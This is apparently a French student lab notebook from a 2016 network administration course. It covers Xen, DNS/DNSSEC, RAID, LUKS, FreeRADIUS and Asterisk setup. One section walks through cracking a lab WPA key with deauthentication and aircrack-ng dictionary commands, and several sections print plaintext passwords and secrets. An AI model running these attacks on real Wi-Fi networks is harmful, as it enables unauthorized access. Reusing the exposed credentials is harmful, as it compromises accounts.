Cahier 2016 groupe n°1

De Wiki de Projets IMA

Séance 1 : Configuration du Bonding

Pour la première séance nous avons installé ifenslave 2.6 sur le serveur et ajout d'un alias pour que le module bond soit activé avec les bonnes options :

alias bond0 bonding
options bonding mode=1 miimon=100 downdelay=200 updelay=200

Nous avons aussi configuré le fichier /etc/network/interfaces en y incluant la configuration des différentes interfaces : eth100, eth101 ainsi que la configuration du bridge: br0 et du bonding: bond0.

#Bonding IMA5sc
#auto eth100
#iface eth0 inet manual
#	bond-master bond0
#	bond-primary eth100 eth101
#	bond-mode 5

#auto eth101
#iface eth1 inet manual	
#	bond-master bond0
#	bond-primary eth100 eth101
#	bond-mode 5

#auto bond0
#iface bond0 inet dhcp
#	pre-up modprobe bonding
#	pre-up ifconfig bond0 up
#	pre-up /sbin/ifenslave  bond0 eth100 eth101
#	down sbin/ifenslave -d bond0 eth100 eth101
#	bonds-slaves none
#
#auto br0
#iface br0 inet dhcp
#	bridge-ports bond0

Séance 2 : Installation de la machine virtuelle

Installation de la machine virtuelle sur le serveur cordouan:

root@cordouan:/usr/local/xen/domains# xen-create-image --hostname=Frotteman --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.171  --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=glopglop
WARNING
-------

 You appear to have a missing vif-script, or network-script, in the
 Xen configuration file /etc/xen/xend-config.sxp.

 Please fix this and restart Xend, or your guests will not be able
to use any networking!


General Information
--------------------
Hostname       :  Frotteman
Distribution   :  jessie
Mirror         :  http://debian.polytech-lille.fr/debian/
Partitions     :  swap            128M  (swap)
                  /               4G    (ext3)
Image type     :  sparse
Memory size    :  128M
Kernel path    :  /boot/vmlinuz-3.14-2-amd64
Initrd path    :  /boot/initrd.img-3.14-2-amd64

Networking Information
----------------------
IP Address 1   : 193.48.57.161 [MAC: 00:16:3E:F4:F8:CE]
Netmask        : 255.255.255.240
Gateway        : 193.48.57.171


Creating partition image: /usr/local/xen/domains/Frotteman/swap.img
Done

Creating swap on /usr/local/xen/domains/Frotteman/swap.img
Done

Creating partition image: /usr/local/xen/domains/Frotteman/disk.img
Done

Creating ext3 filesystem on /usr/local/xen/domains/Frotteman/disk.img
Done
Installation method: debootstrap
Done

Running hooks
Done

No role scripts were specified.  Skipping 

Creating Xen configuration file
Done 

No role scripts were specified.  Skipping
Setting up root password
Generating a password for the new guest.
All done


Logfile produced at:
	 /var/log/xen-tools/Frotteman.log

Installation Summary
---------------------
Hostname        :  Frotteman
Distribution    :  jessie
MAC Address     :  00:16:3E:F4:F8:CE
IP Address(es)  :  193.48.57.161 
RSA Fingerprint :  37:3f:a5:4a:6d:05:15:3d:55:44:e3:0b:7f:81:91:a2
Root Password   :  fsBsiSE4

Séance3 : Volumes logiques

Création des partitions logiques pour la machine virtuelle.

lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-home -v
lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-var -v

Ajouts des partitions à la configuration de la machine virtuelle.

'phy:/dev/virtual/ima5-Frotteman-home,xvdb,w',
'phy:/dev/virtual/ima5-Frotteman-var,xvdc, w',

Séance4

Commande pour démarrer la VM lorsqu'elle est totalement éteinte :

xl create -c /etc/xen/Frotteman.cfg

Nom de domaine réservé sur gandi.net

faispastomberlasavo.net

Séance5 : DNS

Installation de bind9 sur la VM xen.

Modification du fichier /etc/bind/named.conf.local

zone "faispastomberlasavo.net" {
          type master;
          file "/etc/bind/db.faispastomberlasavo.net";
          allow-transfer { 217.70.177.40; };
     };

Créez le fichier de zone /etc/bind/db.faispastomberlasavo.net

TTL    604800
@       IN      SOA     ns.faispastomberlasavo.net. root.faispastomberlasavo.net. (
                       2              ; Serial
                       604800         ; Refresh
                        86400         ; Retry
                      2419200         ; Expire
                       604800 )       ; Negative Cache TTL
;
        IN      NS      ns6.gandi.net.
@       IN      NS      ns.faispastomberlasavo.net.
ns      IN      A       193.48.57.161
www     IN      A       193.48.57.161
@       IN      A       193.48.57.161


Redémarrer bind

/etc/init.d/bind9 restart

Changez la configuration des serveurs du domaine Gandi

DNS1: ns.faispastomberlasavo.net
DNS2: ns6.gandi.net

Commande:

nslookup www.faispastomberlasavo.net

Résultat:

Server:		193.48.57.161
Address:	193.48.57.161#53 

Name:	www.faispastomberlasavo.net
Address: 193.48.57.161

Séance6 : Sécurisation & Certification

commande pour générer certificat SSL

openssl req -nodes -newkey rsa:2048 -sha1 -keyout faispas.key -out faispas.csr
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:faispastomberlasavo.net
Email Address []:cedricduval94@gmail.com

On ajoute le contenu du fichier serveur.csr dans gandi

On ajoute les fichiers à notre config :

cp faispas.crt GandiStandardSSLCA2.pem /etc/ssl/certs/ 
cp faispas.key /etc/ssl/private/

root@Frotteman:~# c_rehash /etc/ssl/certs 
Doing /etc/ssl/certs
GandiStandardSSLCA2.pem => 8544bf03.0
GandiStandardSSLCA2.pem => e279a80b.0
faispas.crt => 82591bcd.0
faispas.crt => a73fda57.0


DNSSEC Génération des clefs :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE  faispastomberlasavo.net 
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE  faispastomberlasavo.net 

On inclut dans les clés dans le fichier de zone.db :

$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-ksk.key
$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-zsk.key

On signe la zone :

/etc/bind/faispastomberlasavo.net.dnssec# dnssec-signzone -o  faispastomberlasavo.net -k  faispastomberlasavo.net-ksk ../db. faispastomberlasavo.net faispastomberlasavo.net-zsk


Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked
../db.faispastomberlasavo.net.signed

On ajoute le DNSSEC à Gandi.

On vérifie que notre DNS est bien sécurisé en essayant la commande :

root@Frotteman:/etc/bind# dig DNSKEY faispastomberlasavo.net @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY faispastomberlasavo.net @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10598
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;faispastomberlasavo.net.	IN	DNSKEY   

;; ANSWER SECTION:
faispastomberlasavo.net. 604800	IN	DNSKEY	257 3 5 AwEAAa3Js66YHVQrw4q+4IKA71lRK9AXWznEZyoxVCxr0SSYx+TFUXxh VTbjq1H8aYjwUa1UyuFsHUC72wJcTNCo0DNOX6Qcek/Y9O30x8xnXRdB OsNFLhnc5v4b5mLTGLswS3GpBCgP8+xSj4LmZPrLZneVom5Q2xCl40KT b5WdpMXXmPjaPOk24gdr5QYzZxrSIqmbEjp2DPaCZiAqPJ8hvvqPFQ+Q Bq53a5/ra3PfN1uo0B2WzeGN0nsb3QDLAREmuovHxSJjm23Yv7rcU8eb txBuOPkbgyES/ybN0uWvW3hiHipXeMCa+yRywnle2Ea56k6w4bcPNta3 8qeF3KwqszE=
faispastomberlasavo.net. 604800	IN	DNSKEY	256 3 5 AwEAAe+I1C2IYzY323K1HXia8curPC+ZduRAiXpsYMdBRyTQOpxTf0zf ulFh42UOPhRCrYm3CZkOesUjhbS0Z3WVzy6u/RHJDRKiqNUbpnBN8jQf mmhIx8FJU3Kcu5st+T6cRWOEoCQIS6tOM31u5I4NKrhXZamDiV361YTQ nJrJNT//

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Mon Nov 28 17:05:19 CET 2016
;; MSG SIZE  rcvd: 476

Crack clé WPA/PSK

Tout d'abord il faut passer l'interface réseau en mode "Monitor".

airmon-ng start wlan1

Nous pouvons détecter les hotspots grâce à l'utilitaire airodump-ng

airodump-ng --encrypt wpa mon0

Nous voulions trouvé la clé de "cracotte01", nous avons donc filtré pour le bssid "04:DA:D2:9C:50:50"

airodump-ng -w out --bssid 04:DA:D2:9C:50:50 mon0
aireplay-ng -0 0 -a 04:DA:D2:9C:50:50

Nous avons créer notre dictionnaire de la façon suivante

crunch 8 8 0123456789 -o dico.txt

Que nous avons tester sur une Zabeth par soucis de rapidité

aircrack-ng -w dico.txt out-01.cap

Qui nous a donné le résultat suivant

Aircrack screen.png

Travail à Réalisé

6.1 Raid

Tout d'abord il a fallu créer les disques virtuels avec lvcreate :

lvcreate -L 1G -n /dev/virtual/Frotteman-raid1 -v
lvcreate -L 1G -n /dev/virtual/Frotteman-raid2 -v
lvcreate -L 1G -n /dev/virtual/Frotteman-raid3 -v

Puis il faut rajouter à la config /etc/xen/Frotteman.cfg :

'phy:/dev/virtual/Frotteman-raid1,xvdd1, w',
'phy:/dev/virtual/Frotteman-raid2,xvdd2, w',
'phy:/dev/virtual/Frotteman-raid3,xvdd3, w',

Une fois ceci fait on redémarre la VM et on installe mdadm :

apt-get install mdadm

On met à jour les modules du kernel (enfin je crois) :

apt-get install linux-image.3.16.0-4-amd64

Il ne nous reste plus qu'à créer notre disque RAID5 md0 :

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3

Nous installons un système de fichier ext4 dessus:

mkfs -t ext4 /dev/md0

Nous pouvons maintenant le monter :

mount /dev/md0 /mnt


Pour tester nous avons copié en partie le dossier /lib dans /mnt. Nous commentons une ligne du fichier /etc/xen/Frotteman.cfg

#'phy:/dev/virtual/Frotteman-raid2,xvdd2, x',

Puis nous observons les différents résultats via fdisk :

fdisk -l
Disk /dev/xvdd1: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/xvdd3: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

On observe l'absence du disque xvdd2 mais nous avons en revanche toutes nos données sur /mnt

root@Frotteman:~# ls /mnt/lib
ifupdown			      libipq.so.0.0.0	    startpar
init				      libiptc.so.0	    systemd
klibc-IpHGKKbZiB_yZ7GPagmQz2GwVAQ.so  libiptc.so.0.0.0	    terminfo
libip4tc.so.0			      libxtables.so.10	    udev
libip4tc.so.0.1.0		      libxtables.so.10.0.0  x86_64-linux-gnu
libip6tc.so.0			      lsb		    xtables
libip6tc.so.0.1.0		      modprobe.d
libipq.so.0			      modules

Nous avons même été prévenu via mail par mdadm, c'est bo l'info !!

From root@faispastomberlasavo.net  Wed Dec  7 17:06:00 2016
X-Original-To: root
From: mdadm monitoring <root@faispastomberlasavo.net>
To: root@faispastomberlasavo.net
Subject: DegradedArray event on /dev/md0:Frotteman
Date: Wed,  7 Dec 2016 17:05:56 +0100 (CET)

This is an automatically generated mail message from mdadm
running on Frotteman

A DegradedArray event had been detected on md device /dev/md0.

Faithfully yours, etc.

P.S. The /proc/mdstat file currently contains the following:

Personalities : [raid6] [raid5] [raid4] 
md0 : active (auto-read-only) raid5 xvdd1[0] xvdd3[2]
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
      
unused devices: <none>

6.2 Cryptage carte SD

Pour crypter les données présente sur un support de stockage nous utiliserons Gparted et CryptSetup

cryptsetup luksFormat -c eas -h sha256 /dev/mmcblk1

On rentre notre phrase secrète.

Optionel : On peut afficher l'état du conteneur grâce à la commande :

cryptsetup luksDump /dev/mmcblk1

On peut désormais ouvrir notre volume appelé "frotteman", il nous faudra ensuite renseigner la clé secrète :

cryptsetup luksOpen /dev/mmcblk1 frotteman

On peut désormais formater le volume en ext3

mkfs.ext3 /dev/mapper/frotteman

Et finalement monter/demonter le volume :

mount /dev/mapper/frotteman /mnt/
umount /mnt 

Et également fermé le volume chiffré :

cryptsetup luksClose frotteman

6.6 Securasition Wifi par WPA2-EAP

default_eap_type = peap

Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :

client E306{
        ipaddr = 10.60.1.2
        secret = password
}

Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.

frotteman Cleartext-Password := "youpi"

Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS. Configuration des bornes Wi-Fi

Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :

conf t

aaa new-model
aaa authentication login eap_frotteman group radius_frotteman
radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key password
aaa group server radius radius_frotteman
server 193.48.57.161 auth-port 1812 acct-port 1813


exit

dot11 ssid SSID_FROTTEMAN
vlan 2
authentication open eap eap_frotteman
authentication network-eap eap_frotteman
authentication key-management wpa
mbssid guest-mode

exit 

interface Dot11Radio0
encryption vlan 2 mode ciphers aes-ccm tkip
ssid SSID_FROTTEMAN 

exit 

interface Dot11Radio0.2
encapsulation dot1Q 2
no ip route-cache
bridge-group 2
bridge-group 2 subscriber-loop-control
bridge-group 2 spanning-disabled
bridge-group 2 block-unknown-source
no bridge-group 2 source-learning
no bridge-group 2 unicast-flooding  

exit

interface GigabitEthernet0.2
encapsulation dot1Q 2
bridge-group 2

exit
 
exit


6.8.1 DHCP

On installe un server DHCP sur l'eeePC :

apt-get install isc-dhcp-server

On configure le fichier /etc/dhcp/dhcpd.conf :

option domain-name "faispastomberlasavo.net";
option domain-name-servers 193.48.57.161;

subnet 10.60.2.0 netmask 255.255.255.0 {
      range 10.60.2.50 10.60.2.100;
      option routers 10.60.6.1;
}

Il ne nous reste plus qu'a indiqué notre interface réseau dans le fichier /etc/dhcp/isc-dhcp-server

6.8.2 PCBx

On installe asterisk

apt-get install asterisk

On modifie le fichier /etc/asterisk/sip.conf afin de créer 2 utilisateurs 666 & 665:

[general]
hasvoicemail=yes
hassip=yes
hasiax=yes
callwaiting=yes
threewaycalling=yes
callwaitingcallerid=yes
transfer=yes
canpark=yes
cancallforward=yes
callreturn=yes
callgroup=1
pickupgroup=1
nat=yes

[666]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=Cduval
username=cduval
secret=glopglop
context=work 

[665]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=Pfitouss
username=pfitouss
secret=glopglop
context=work 


Nous pouvons donc constater que le communication est réussi

Frotteman*CLI> sip show peers
Name/username             Host                                    Dyn Forcerport Comedia    ACL Port     Status      Description                      
665/pfitouss              (Unspecified)                            D  Auto (No)  No             0        Unmonitored                                  
666/cduval                (Unspecified)                            D  Auto (No)  No             0        Unmonitored                                  
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 0 online, 2 offline]
    -- Registered SIP '665' at 10.60.2.100:38862
[Jan  6 16:10:49] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
    -- Registered SIP '666' at 10.60.2.101:35192
[Jan  6 16:12:06] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 666
[Jan  6 16:12:14] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
  == Using SIP RTP CoS mark 5
    -- Executing [666@work:1] Dial("SIP/665-00000000", "SIP/666,20") in new stack
  == Using SIP RTP CoS mark 5
    -- Called SIP/666
    -- SIP/666-00000001 is ringing
    -- SIP/666-00000001 answered SIP/665-00000000
    -- Remotely bridging SIP/665-00000000 and SIP/666-00000001
  == Spawn extension (work, 666, 1) exited non-zero on 'SIP/665-00000000'
Frotteman*CLI>